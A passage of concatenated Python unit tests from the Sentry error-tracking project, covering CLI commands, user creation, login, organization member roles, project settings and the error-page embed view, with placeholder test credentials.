    settings.SENTRY_OPTIONS = {'system.secret-key': 'secret-key'}
    bootstrap_options(settings)
    apply_legacy_settings(settings)


def test_require_secret_key(settings):
    assert 'system.secret-key' not in settings.SENTRY_OPTIONS
    with pytest.raises(ConfigurationError):
        apply_legacy_settings(settings)






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import os
import six

from sentry.testutils import CliTestCase
from sentry.runner.commands.init import init


class InitTest(CliTestCase):
    command = init

    def test_simple(self):
        with self.runner.isolated_filesystem():
            rv = self.invoke('config')
            assert rv.exit_code == 0, rv.output
            contents = os.listdir('config')
            assert set(contents) == {'sentry.conf.py', 'config.yml'}

            # Make sure the python file is valid
            ctx = {'__file__': 'sentry.conf.py'}
            with open('config/sentry.conf.py') as fp:
                six.exec_(fp.read(), ctx)
            assert 'DEBUG' in ctx

            # Make sure the yaml file is valid
            from sentry.utils.yaml import safe_load
            with open('config/config.yml', 'rb') as fp:
                ctx = safe_load(fp)
            assert 'system.secret-key' in ctx

    def test_no_directory(self):
        rv = self.invoke('sentry.conf.py')
        assert rv.exit_code != 0, rv.output






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.models import Event, Group, GroupTagValue, TagValue, TagKey
from sentry.runner.commands.cleanup import cleanup
from sentry.testutils import CliTestCase

ALL_MODELS = (Event, Group, GroupTagValue, TagValue, TagKey)


class SentryCleanupTest(CliTestCase):
    fixtures = ['tests/fixtures/cleanup.json']
    command = cleanup

    def test_simple(self):
        rv = self.invoke('--days=1')
        assert rv.exit_code == 0, rv.output

        for model in ALL_MODELS:
            assert model.objects.count() == 0

    def test_project(self):
        orig_counts = {}
        for model in ALL_MODELS:
            orig_counts[model] = model.objects.count()

        rv = self.invoke('--days=1', '--project=2')
        assert rv.exit_code == 0, rv.output

        for model in ALL_MODELS:
            assert model.objects.count() == orig_counts[model]

        rv = self.invoke('--days=1', '--project=1')
        assert rv.exit_code == 0, rv.output

        for model in ALL_MODELS:
            assert model.objects.count() == 0






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry import roles
from sentry.testutils import CliTestCase
from sentry.runner.commands.createuser import createuser
from sentry.models import User, OrganizationMember


class CreateUserTest(CliTestCase):
    command = createuser
    default_args = ['--no-input']

    def test_superuser(self):
        rv = self.invoke(
            '--email=you@somewhereawesome.com',
            '--password=awesome',
            '--superuser',
        )
        assert rv.exit_code == 0, rv.output
        assert 'you@somewhereawesome.com' in rv.output
        assert User.objects.count() == 1
        user = User.objects.all()[0]
        assert user.email == 'you@somewhereawesome.com'
        assert user.check_password('awesome')
        assert user.is_superuser
        assert user.is_staff
        assert user.is_active

    def test_no_superuser(self):
        rv = self.invoke(
            '--email=you@somewhereawesome.com',
            '--password=awesome',
        )
        assert rv.exit_code == 0, rv.output
        assert 'you@somewhereawesome.com' in rv.output
        assert User.objects.count() == 1
        user = User.objects.all()[0]
        assert user.email == 'you@somewhereawesome.com'
        assert user.check_password('awesome')
        assert not user.is_superuser
        assert not user.is_staff
        assert user.is_active

    def test_no_password(self):
        rv = self.invoke(
            '--email=you@somewhereawesome.com',
            '--no-password',
        )
        assert rv.exit_code == 0, rv.output
        assert 'you@somewhereawesome.com' in rv.output
        assert User.objects.count() == 1
        user = User.objects.all()[0]
        assert user.email == 'you@somewhereawesome.com'
        assert not user.password
        assert not user.is_superuser
        assert not user.is_staff
        assert user.is_active

    def test_single_org(self):
        with self.settings(SENTRY_SINGLE_ORGANIZATION=True):
            rv = self.invoke(
                '--email=you@somewhereawesome.com',
                '--no-password',
            )
            assert rv.exit_code == 0, rv.output
            assert 'you@somewhereawesome.com' in rv.output
            assert OrganizationMember.objects.count() == 1
            member = OrganizationMember.objects.all()[0]
            assert member.user.email == 'you@somewhereawesome.com'
            assert member.organization.slug in rv.output
            assert member.role == member.organization.default_role

    def test_single_org_superuser(self):
        with self.settings(SENTRY_SINGLE_ORGANIZATION=True):
            rv = self.invoke(
                '--email=you@somewhereawesome.com',
                '--no-password',
                '--superuser'
            )
            assert rv.exit_code == 0, rv.output
            assert 'you@somewhereawesome.com' in rv.output
            assert OrganizationMember.objects.count() == 1
            member = OrganizationMember.objects.all()[0]
            assert member.user.email == 'you@somewhereawesome.com'
            assert member.organization.slug in rv.output
            assert member.role == roles.get_top_dog().id

    def test_not_single_org(self):
        with self.settings(SENTRY_SINGLE_ORGANIZATION=False):
            rv = self.invoke(
                '--email=you@somewhereawesome.com',
                '--no-password',
            )
            assert rv.exit_code == 0, rv.output
            assert 'you@somewhereawesome.com' in rv.output
            assert OrganizationMember.objects.count() == 0

    def test_no_input(self):
        rv = self.invoke()
        assert rv.exit_code != 0, rv.output

    def test_missing_password(self):
        rv = self.invoke(
            '--email=you@somewhereawesome.com',
        )
        assert rv.exit_code != 0, rv.output






from __future__ import absolute_import






from __future__ import absolute_import

from django.test.utils import override_settings
from sentry.testutils import TestCase
from sentry.services.http import SentryHTTPServer, convert_options_to_env


class HTTPServiceTest(TestCase):
    def test_convert(self):
        options = {
            'true': True,
            'false': False,
            'string': 'foo',
            'int': 1,
            'none': None,
            'hy-phen': 'foo',
        }
        expected = [
            ('UWSGI_TRUE', 'true'),
            ('UWSGI_FALSE', 'false'),
            ('UWSGI_STRING', 'foo'),
            ('UWSGI_INT', '1'),
            ('UWSGI_HY_PHEN', 'foo'),
        ]
        assert set(convert_options_to_env(options)) == set(expected)

    def test_options(self):
        cls = SentryHTTPServer

        server = cls(host='1.1.1.1', port=80)
        assert server.options['http-socket'] == '1.1.1.1:80'

        with override_settings(SENTRY_WEB_HOST='1.1.1.1', SENTRY_WEB_PORT=80):
            assert server.options['http-socket'] == '1.1.1.1:80'

        server = cls(workers=10)
        assert server.options['workers'] == 10

        # Make sure that changing `protocol` to uwsgi sets the right socket
        options = {'protocol': 'uwsgi'}
        with override_settings(SENTRY_WEB_OPTIONS=options):
            server = cls()
            assert 'http-socket' not in server.options
            assert 'uwsgi-socket' in server.options

        options = {
            'bind': '1.1.1.1:80',
            'accesslog': '/tmp/access.log',
            'errorlog': '/tmp/error.log',
            'timeout': 69,
            'proc_name': 'LOL',
            'secure_scheme_headers': {},
            'loglevel': 'info',
        }
        with override_settings(SENTRY_WEB_OPTIONS=options):
            server = cls()
            assert server.options['http-socket'] == '1.1.1.1:80'
            assert 'bind' not in server.options
            assert server.options['logto'] == '/tmp/access.log'
            assert 'accesslog' not in server.options
            assert server.options['logto2'] == '/tmp/error.log'
            assert 'errorlog' not in server.options
            assert server.options['http-timeout'] == 69
            assert 'timeout' not in server.options
            assert server.options['procname-prefix-spaced'] == 'LOL'
            assert 'proc_name' not in server.options
            assert 'secure_scheme_headers' not in server.options
            assert 'loglevel' not in server.options

    def test_format_logs(self):
        with self.options({'system.logging-format': 'human'}):
            server = SentryHTTPServer()
            assert server.options['disable-logging'] is False
        with self.options({'system.logging-format': 'machine'}):
            server = SentryHTTPServer()
            assert server.options['disable-logging'] is True






from __future__ import absolute_import






from __future__ import absolute_import, print_function

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.models import ProjectKey, ProjectKeyStatus
from sentry.testutils import TestCase


class EnableProjectKeyTest(TestCase):
    def setUp(self):
        super(EnableProjectKeyTest, self).setUp()
        self.key = ProjectKey.objects.create(
            project=self.project,
            status=ProjectKeyStatus.INACTIVE,
        )

    @fixture
    def path(self):
        return reverse('sentry-enable-project-key', args=[self.organization.slug, self.project.slug, self.key.id])

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path, 'POST')

    def test_does_enable(self):
        self.login_as(self.user)

        resp = self.client.post(self.path)
        assert resp.status_code == 302
        key = ProjectKey.objects.get(id=self.key.id)
        assert key.status == ProjectKeyStatus.ACTIVE






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import ApiKey
from sentry.testutils import TestCase, PermissionTestCase


class OrganizationApiKeysPermissionTest(PermissionTestCase):
    def setUp(self):
        super(OrganizationApiKeysPermissionTest, self).setUp()
        self.path = reverse('sentry-organization-api-keys', args=[self.organization.slug])

    def test_teamless_admin_cannot_load(self):
        self.assert_teamless_admin_cannot_access(self.path)

    def test_member_cannot_load(self):
        self.assert_member_cannot_access(self.path)

    def test_manager_cannot_load(self):
        self.assert_manager_cannot_access(self.path)

    def test_owner_can_load(self):
        self.assert_owner_can_access(self.path)


class OrganizationApiKeysTest(TestCase):
    def test_renders_with_context(self):
        organization = self.create_organization(name='foo', owner=self.user)

        key1 = ApiKey.objects.create(organization=organization, label='Bar')
        key2 = ApiKey.objects.create(organization=organization, label='Foo')

        path = reverse('sentry-organization-api-keys', args=[organization.slug])

        self.login_as(self.user)

        resp = self.client.get(path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/organization-api-keys.html')

        assert resp.context['organization'] == organization
        assert resp.context['key_list'] == [
            key1,
            key2,
        ]

    def test_creates_api_key(self):
        organization = self.create_organization(name='foo', owner=self.user)

        path = reverse('sentry-organization-api-keys', args=[organization.slug])

        self.login_as(self.user)

        resp = self.client.post(path, {'op': 'newkey'})

        assert resp.status_code == 302

        assert ApiKey.objects.filter(organization=organization).exists()






from __future__ import absolute_import, print_function

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.models import ProjectKey, ProjectKeyStatus
from sentry.testutils import TestCase


class DisableProjectKeyTest(TestCase):
    def setUp(self):
        super(DisableProjectKeyTest, self).setUp()
        self.key = ProjectKey.objects.create(
            project=self.project,
            status=ProjectKeyStatus.ACTIVE,
        )

    @fixture
    def path(self):
        return reverse('sentry-disable-project-key', args=[self.organization.slug, self.project.slug, self.key.id])

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path, 'POST')

    def test_does_enable(self):
        self.login_as(self.user)

        resp = self.client.post(self.path)
        assert resp.status_code == 302
        key = ProjectKey.objects.get(id=self.key.id)
        assert key.status == ProjectKeyStatus.INACTIVE






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.testutils import TestCase


class AuthLogoutTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-logout')

    def test_logs_user_out(self):
        self.login_as(self.user)

        resp = self.client.get(self.path)
        assert resp.status_code == 302
        assert list(self.client.session.keys()) == []

    def test_same_behavior_with_anonymous_user(self):
        resp = self.client.get(self.path)
        assert resp.status_code == 302
        assert list(self.client.session.keys()) == []






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.testutils import TestCase


class CsrfFailureTest(TestCase):
    urls = 'sentry.conf.urls'

    def test_simple(self):
        path = reverse('error-403-csrf-failure')

        resp = self.client.get(path)
        assert resp.status_code == 403
        self.assertTemplateUsed(resp, 'sentry/403-csrf-failure.html')






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.testutils import TestCase
from sentry.models import User


# TODO(dcramer): need tests for SSO behavior and single org behavior
class AuthLoginTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-login')

    def test_renders_correct_template(self):
        resp = self.client.get(self.path)

        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/login.html')

    def test_renders_session_expire_message(self):
        self.client.cookies['session_expired'] = '1'
        resp = self.client.get(self.path)

        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/login.html')
        assert len(resp.context['messages']) == 1

    def test_login_invalid_password(self):
        # load it once for test cookie
        self.client.get(self.path)

        resp = self.client.post(self.path, {
            'username': self.user.username,
            'password': 'bizbar',
            'op': 'login',
        })
        assert resp.status_code == 200
        assert resp.context['login_form'].errors['__all__'] == [
            u'Please enter a correct username and password. Note that both fields may be case-sensitive.'
        ]

    def test_login_valid_credentials(self):
        # load it once for test cookie
        self.client.get(self.path)

        resp = self.client.post(self.path, {
            'username': self.user.username,
            'password': 'admin',
            'op': 'login',
        })
        assert resp.status_code == 302

    def test_registration_disabled(self):
        with self.feature('auth:register', False):
            resp = self.client.get(self.path)
            assert resp.context['register_form'] is None

    def test_registration_valid(self):
        with self.feature('auth:register'):
            resp = self.client.post(self.path, {
                'username': 'test-a-really-long-email-address@example.com',
                'password': 'foobar',
                'op': 'register',
            })
        assert resp.status_code == 302
        user = User.objects.get(username='test-a-really-long-email-address@example.com')
        assert user.email == 'test-a-really-long-email-address@example.com'
        assert user.check_password('foobar')

    def test_register_renders_correct_template(self):
        register_path = reverse('sentry-register')
        resp = self.client.get(register_path)

        assert resp.status_code == 200
        assert resp.context['op'] == 'register'
        self.assertTemplateUsed('sentry/login.html')

    def test_already_logged_in(self):
        self.login_as(self.user)
        with self.feature('organizations:create'):
            resp = self.client.get(self.path)

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-create-organization')






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import (
    Organization, OrganizationMember, OrganizationStatus, User
)
from sentry.testutils import TestCase


class RemoveAccountTest(TestCase):
    def setUp(self):
        super(RemoveAccountTest, self).setUp()

        other_user = self.create_user('bar@example.com')

        # single owner org
        self.organization = self.create_organization(name='a', owner=self.user)
        self.create_member(
            user=other_user,
            organization=self.organization,
            role='admin',
        )

        # dual owner
        self.organization2 = self.create_organization(name='b', owner=self.user)
        self.create_member(
            user=other_user,
            organization=self.organization2,
            role='owner',
        )

        # non-owned
        self.organization3 = self.create_organization(name='c', owner=other_user)

        self.path = reverse('sentry-remove-account')
        self.login_as(self.user)

    def test_renders_with_context(self):
        resp = self.client.get(self.path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/remove-account.html')

        assert resp.context['organization_results'] == [{
            'organization': self.organization,
            'single_owner': True,
        }, {
            'organization': self.organization2,
            'single_owner': False,
        }]

    def test_implicit_delete(self):
        resp = self.client.post(self.path)

        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/post-remove-account.html')

        assert not User.objects.get(
            id=self.user.id,
        ).is_active

        # should implicitly remove the first organization, but not the 2nd
        assert Organization.objects.get(
            id=self.organization.id,
        ).status == OrganizationStatus.PENDING_DELETION

        assert Organization.objects.get(
            id=self.organization2.id,
        ).status == OrganizationStatus.VISIBLE
        assert not OrganizationMember.objects.filter(
            user=self.user,
            organization=self.organization2,
        ).exists()

        assert Organization.objects.get(
            id=self.organization3.id,
        ).status == OrganizationStatus.VISIBLE

    def test_explicit_delete(self):
        resp = self.client.post(self.path, data={
            'oID': [self.organization.slug, self.organization2.slug,
                    self.organization3.slug],
        })

        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/post-remove-account.html')

        # should implicitly remove the first organization, but not the 2nd
        assert Organization.objects.get(
            id=self.organization.id,
        ).status == OrganizationStatus.PENDING_DELETION

        assert Organization.objects.get(
            id=self.organization2.id,
        ).status == OrganizationStatus.PENDING_DELETION

        assert Organization.objects.get(
            id=self.organization3.id,
        ).status == OrganizationStatus.VISIBLE






from __future__ import absolute_import

from django.core import mail
from django.core.urlresolvers import reverse

from sentry.models import AuditLogEntry, AuditLogEntryEvent, OrganizationMember
from sentry.testutils import TestCase, PermissionTestCase


class OrganizationMemberSettingsPermissionTest(PermissionTestCase):
    def setUp(self):
        super(OrganizationMemberSettingsPermissionTest, self).setUp()
        member = self.create_user()
        om = self.create_member(user=member, organization=self.organization)
        self.path = reverse('sentry-organization-member-settings', args=[self.organization.slug, om.id])

    def test_non_member_cannot_load(self):
        self.assert_non_member_cannot_access(self.path)

    def test_member_can_load(self):
        self.assert_member_can_access(self.path)


class OrganizationMemberSettingsTest(TestCase):
    def test_renders_with_context(self):
        organization = self.create_organization(name='foo', owner=self.user)
        self.create_team(name='foo', organization=organization)
        team_2 = self.create_team(name='bar', organization=organization)

        user = self.create_user('bar@example.com')
        member = self.create_member(
            organization=organization,
            user=user,
            role='member',
            teams=[team_2],
        )

        path = reverse('sentry-organization-member-settings',
                       args=[organization.slug, member.id])

        self.login_as(self.user)

        resp = self.client.get(path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/organization-member-settings.html')

        assert resp.context['organization'] == organization
        assert resp.context['member'] == member
        assert resp.context['form']

    def test_setting_role(self):
        organization = self.create_organization(name='foo', owner=self.user)
        team_1 = self.create_team(name='foo', organization=organization)
        team_2 = self.create_team(name='bar', organization=organization)

        user = self.create_user('bar@example.com')
        member = OrganizationMember.objects.create(
            organization=organization,
            user=user,
            role='member',
        )

        path = reverse('sentry-organization-member-settings',
                       args=[organization.slug, member.id])

        self.login_as(self.user)

        resp = self.client.post(path, {
            'teams': [team_1.id, team_2.id],
            'role': 'admin',
        })

        assert resp.status_code == 302

        member = OrganizationMember.objects.get(id=member.id)

        assert member.role == 'admin'

        assert member.teams.count() == 2

        ale = AuditLogEntry.objects.get(
            organization=organization,
            event=AuditLogEntryEvent.MEMBER_EDIT,
        )

        assert ale.actor == self.user
        assert ale.target_object == member.id
        assert ale.target_user == user
        assert ale.data

    def test_setting_teams(self):
        organization = self.create_organization(name='foo', owner=self.user)
        team_1 = self.create_team(name='foo', organization=organization)
        team_2 = self.create_team(name='bar', organization=organization)

        user = self.create_user('bar@example.com')
        member = OrganizationMember.objects.create(
            organization=organization,
            user=user,
            role='member',
        )

        path = reverse('sentry-organization-member-settings',
                       args=[organization.slug, member.id])

        self.login_as(self.user)

        resp = self.client.post(path, {
            'teams': [team_1.id, team_2.id],
            'role': 'member',
        })

        assert resp.status_code == 302, resp.context['form'].errors

        member = OrganizationMember.objects.get(id=member.id)
        assert member.role == 'member'

        teams = list(member.teams.all())
        assert team_1 in teams
        assert team_2 in teams
        assert len(teams) == 2

        ale = AuditLogEntry.objects.get(
            organization=organization,
            event=AuditLogEntryEvent.MEMBER_EDIT,
        )

        assert ale.actor == self.user
        assert ale.target_object == member.id
        assert ale.target_user == user
        assert ale.data

    def test_reinvite(self):
        organization = self.create_organization(name='foo', owner=self.user)

        member = OrganizationMember.objects.create(
            organization=organization,
            email='bar@example.com',
        )

        path = reverse('sentry-organization-member-settings',
                       args=[organization.slug, member.id])

        self.login_as(self.user)

        with self.tasks():
            resp = self.client.post(path, {
                'op': 'reinvite',
            })

        assert resp.status_code == 302

        assert len(mail.outbox) == 1
        assert mail.outbox[0].to == ['bar@example.com']
        assert mail.outbox[0].subject == 'Join foo in using Sentry'

    def test_cannot_edit_yourself(self):
        organization = self.create_organization(name='foo', owner=self.user)
        member = OrganizationMember.objects.get(
            organization=organization,
            user=self.user,
        )

        path = reverse('sentry-organization-member-settings',
                       args=[organization.slug, member.id])

        self.login_as(self.user)

        resp = self.client.get(path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/organization-member-details.html')

        assert resp.context['organization'] == organization
        assert resp.context['member'] == member

    def test_admin_cant_edit(self):
        organization = self.create_organization(name='foo', owner=self.user)
        member = self.create_user('foo@example.com', is_superuser=False)
        owner_om = OrganizationMember.objects.get(
            organization=organization,
            user=self.user,
        )

        OrganizationMember.objects.create(
            organization=organization,
            user=member,
            role='admin',
        )

        path = reverse('sentry-organization-member-settings',
                       args=[organization.slug, owner_om.id])

        self.login_as(member)

        resp = self.client.get(path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/organization-member-details.html')

        assert resp.context['organization'] == organization
        assert resp.context['member'] == owner_om

    def test_member_cant_edit(self):
        organization = self.create_organization(name='foo', owner=self.user)
        member = self.create_user('foo@example.com', is_superuser=False)
        owner_om = OrganizationMember.objects.get(
            organization=organization,
            user=self.user,
        )

        OrganizationMember.objects.create(
            organization=organization,
            user=member,
            role='member',
        )

        path = reverse('sentry-organization-member-settings',
                       args=[organization.slug, owner_om.id])

        self.login_as(member)

        resp = self.client.get(path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/organization-member-details.html')

        assert resp.context['organization'] == organization
        assert resp.context['member'] == owner_om

    def test_manager_cant_assign_owner(self):
        organization = self.create_organization(name='foo', owner=self.user)

        manager = self.create_user('bar@example.com')
        OrganizationMember.objects.create(
            organization=organization,
            user=manager,
            role='manager',
        )

        member = self.create_user('baz@example.com')
        member_om = OrganizationMember.objects.create(
            organization=organization,
            user=member,
            role='member',
        )

        path = reverse('sentry-organization-member-settings',
                       args=[organization.slug, member_om.id])

        self.login_as(manager)

        resp = self.client.post(path, {
            'role': 'owner',
        })

        assert resp.status_code == 200

        member = OrganizationMember.objects.get(id=member_om.id)

        assert member.role == 'member'

    def test_manager_cant_downgrade_owner(self):
        organization = self.create_organization(name='foo', owner=self.user)

        manager = self.create_user('bar@example.com')
        OrganizationMember.objects.create(
            organization=organization,
            user=manager,
            role='manager',
        )

        member = self.create_user('baz@example.com')
        member_om = OrganizationMember.objects.create(
            organization=organization,
            user=member,
            role='owner',
        )

        path = reverse('sentry-organization-member-settings',
                       args=[organization.slug, member_om.id])

        self.login_as(manager)

        resp = self.client.post(path, {
            'role': 'manager',
        })

        assert resp.status_code == 200

        member = OrganizationMember.objects.get(id=member_om.id)

        assert member.role == 'owner'






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.testutils import TestCase


class ReactivateAccountTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-reactivate-account')

    def test_renders(self):
        user = self.create_user('foo@example.com', is_active=False)

        self.login_as(user)

        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/reactivate-account.html')

    def test_does_reactivate(self):
        user = self.create_user('foo@example.com', is_active=False)

        self.login_as(user)

        resp = self.client.post(self.path, data={'op': 'confirm'})
        assert resp.status_code == 302






from __future__ import absolute_import

from exam import fixture

from django.core.urlresolvers import reverse

from sentry.models import ProjectOption
from sentry.testutils import TestCase


class ManageProjectPluginsTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-manage-project-plugins', args=[
            self.organization.slug, self.project.slug])

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path)

    def test_renders_with_required_context(self):
        self.login_as(self.user)

        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/projects/plugins/manage.html')

    def test_saves_settings(self):
        self.login_as(self.user)

        resp = self.client.post(self.path, {
            'plugin': ['os', 'urls'],
        })
        assert resp.status_code == 302

        opts = dict(
            (p.key, p.value)
            for p in ProjectOption.objects.filter(
                project=self.project,
                key__in=[
                    'auto_tag:_operating_systems:enabled', 'auto_tag:_urls:enabled',
                    'mail:enabled',
                ],
            ),
        )
        assert opts.get('auto_tag:_operating_systems:enabled') is True
        assert opts.get('auto_tag:_urls:enabled') is True
        assert opts.get('mail:enabled') is False






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import OrganizationMember, OrganizationMemberTeam, Team
from sentry.testutils import TestCase, PermissionTestCase


class CreateTeamPermissionTest(PermissionTestCase):
    def setUp(self):
        super(CreateTeamPermissionTest, self).setUp()
        self.path = reverse('sentry-create-team', args=[self.organization.slug])

    def test_teamless_admin_can_load(self):
        self.assert_teamless_admin_can_access(self.path)

    def test_team_admin_can_load(self):
        self.assert_team_admin_can_access(self.path)

    def test_member_cannot_load(self):
        self.assert_member_cannot_access(self.path)

    def test_owner_can_load(self):
        self.assert_owner_can_access(self.path)


class CreateTeamTest(TestCase):
    def test_renders_with_context(self):
        organization = self.create_organization()
        path = reverse('sentry-create-team', args=[organization.slug])
        self.login_as(self.user)
        resp = self.client.get(path)
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/create-team.html')
        assert resp.context['organization'] == organization
        assert resp.context['form']

    def test_submission(self):
        organization = self.create_organization()
        path = reverse('sentry-create-team', args=[organization.slug])
        self.login_as(self.user)
        resp = self.client.post(path, {
            'name': 'bar',
        })
        assert resp.status_code == 302, resp.context['form'].errors

        team = Team.objects.get(organization=organization, name='bar')

        member = OrganizationMember.objects.get(
            user=self.user,
            organization=organization,
        )

        assert OrganizationMemberTeam.objects.filter(
            organizationmember=member,
            team=team,
            is_active=True,
        ).exists()

        redirect_uri = reverse('sentry-create-project', args=[organization.slug])
        assert resp['Location'] == 'http://testserver%s?team=%s' % (
            redirect_uri, team.slug)

    def test_admin_can_create_team(self):
        organization = self.create_organization()
        path = reverse('sentry-create-team', args=[organization.slug])

        admin = self.create_user('admin@example.com')
        self.create_member(
            organization=organization,
            user=admin,
            role='admin',
            teams=[],
        )

        self.login_as(admin)

        resp = self.client.post(path, {
            'name': 'bar',
        })
        assert resp.status_code == 302, resp.context['form'].errors

        assert Team.objects.filter(
            organization=organization,
            name='bar',
        ).exists()






from __future__ import absolute_import

from django import forms
from django.core.urlresolvers import reverse
from exam import fixture

from sentry.models import Project
from sentry.testutils import TestCase
from sentry.web.frontend.project_settings import OriginsField


class OriginsFieldTest(TestCase):
    @fixture
    def field(self):
        return OriginsField()

    def test_supports_wildcards(self):
        value = '*'
        result = self.field.clean(value)
        self.assertEquals(result, ['*'])

    def test_supports_wildcard_domains(self):
        value = '*.example.com'
        result = self.field.clean(value)
        self.assertEquals(result, ['*.example.com'])

    def test_supports_base_domains(self):
        value = 'example.com'
        result = self.field.clean(value)
        self.assertEquals(result, ['example.com'])

    def test_does_not_support_port(self):
        value = 'http://example.com:80'
        with self.assertRaises(forms.ValidationError):
            self.field.clean(value)

        value = 'example.com:80'
        with self.assertRaises(forms.ValidationError):
            self.field.clean(value)

    def test_doesnt_support_domain_with_port(self):
        value = 'example.com:80'
        with self.assertRaises(forms.ValidationError):
            self.field.clean(value)

    def test_doesnt_support_wildcard_domain_with_port(self):
        value = '*.example.com:80'
        with self.assertRaises(forms.ValidationError):
            self.field.clean(value)

    def test_supports_localhost(self):
        value = 'localhost'
        result = self.field.clean(value)
        self.assertEquals(result, ['localhost'])


class ProjectSettingsTest(TestCase):
    def setUp(self):
        super(ProjectSettingsTest, self).setUp()
        self.owner = self.create_user()
        self.organization = self.create_organization(owner=self.owner)
        self.team = self.create_team(organization=self.organization)
        self.project = self.create_project(team=self.team)

    @fixture
    def path(self):
        return reverse('sentry-manage-project', args=[self.organization.slug, self.project.slug])

    def test_renders_with_context(self):
        self.login_as(self.owner)
        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/projects/manage.html')
        assert resp.context['project'] == self.project

    def test_valid_params(self):
        self.login_as(self.owner)
        resp = self.client.post(self.path, {
            'name': 'bar',
            'slug': self.project.slug,
            'team': self.team.id,
            'scrub_data': '1',
            'token': 'foobar',
        })
        assert resp.status_code == 302
        self.assertEquals(resp['Location'], 'http://testserver' + self.path)
        project = Project.objects.get(id=self.project.id)
        assert project.name == 'bar'






from __future__ import absolute_import, print_function

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.testutils import TestCase


class ProjectQuotasTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-manage-project-quotas', args=[self.organization.slug, self.project.slug])

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path)

    def test_simple(self):
        self.login_as(self.user)

        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/projects/quotas.html')
        assert resp.context['organization'] == self.organization
        assert resp.context['team'] == self.team
        assert resp.context['project'] == self.project






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from six.moves.urllib.parse import quote
from uuid import uuid4

from sentry.models import UserReport
from sentry.testutils import TestCase


class ErrorPageEmbedTest(TestCase):
    urls = 'sentry.conf.urls'

    def setUp(self):
        super(ErrorPageEmbedTest, self).setUp()
        self.project = self.create_project()
        self.project.update_option('sentry:origins', 'example.com')
        self.key = self.create_project_key(self.project)
        self.event_id = uuid4().hex
        self.path = '%s?eventId=%s&dsn=%s' % (
            reverse('sentry-error-page-embed'),
            quote(self.event_id),
            quote(self.key.dsn_public),
        )

    def test_invalid_referer(self):
        with self.settings(SENTRY_ALLOW_ORIGIN=None):
            resp = self.client.get(self.path, HTTP_REFERER='http://foo.com')
        assert resp.status_code == 403

    def test_renders(self):
        resp = self.client.get(self.path, HTTP_REFERER='http://example.com')
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/error-page-embed.html')

    def test_submission(self):
        resp = self.client.post(self.path, {
            'name': 'Jane Doe',
            'email': 'jane@example.com',
            'comments': 'This is an example!',
        }, HTTP_REFERER='http://example.com')
        assert resp.status_code == 200

        report = UserReport.objects.get()
        assert report.name == 'Jane Doe'
        assert report.email == 'jane@example.com'
        assert report.comments == 'This is an example!'
        assert report.event_id == self.event_id
        assert report.project == self.project
        assert report.group is None

        resp = self.client.post(self.path, {
            'name': 'Joe Shmoe',
            'email': 'joe@example.com',
            'comments': 'haha I updated it!',
        }, HTTP_REFERER='http://example.com')
        assert resp.status_code == 200

        report = UserReport.objects.get()
        assert report.name == 'Joe Shmoe'
        assert report.email == 'joe@example.com'
        assert report.comments == 'haha I updated it!'
        assert report.event_id == self.event_id
        assert report.project == self.project
        assert report.group is None

    def test_submission_invalid_event_id(self):
        self.event_id = 'x' * 100
        self.path = '%s?eventId=%s&dsn=%s' % (
            reverse('sentry-error-page-embed'),
            quote(self.event_id),
            quote(self.key.dsn_public),
        )

        resp = self.client.post(self.path, {
            'name': 'Jane Doe',
            'email': 'jane@example.com',
            'comments': 'This is an example!',
        }, HTTP_REFERER='http://example.com')
        assert resp.status_code == 400






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import OrganizationAccessRequest, OrganizationMember, TotpInterface
from sentry.testutils import TestCase, PermissionTestCase


class OrganizationMembersPermissionTest(PermissionTestCase):
    def setUp(self):
        super(OrganizationMembersPermissionTest, self).setUp()
        self.path = reverse('sentry-organization-members', args=[self.organization.slug])

    def test_member_can_load(self):
        self.assert_member_can_access(self.path)

    def test_non_member_cannot_load(self):
        self.assert_non_member_cannot_access(self.path)


class OrganizationMembersTest(TestCase):
    def test_renders_with_context(self):
        organization = self.create_organization(name='foo', owner=self.user)
        self.create_team(name='foo', organization=organization)
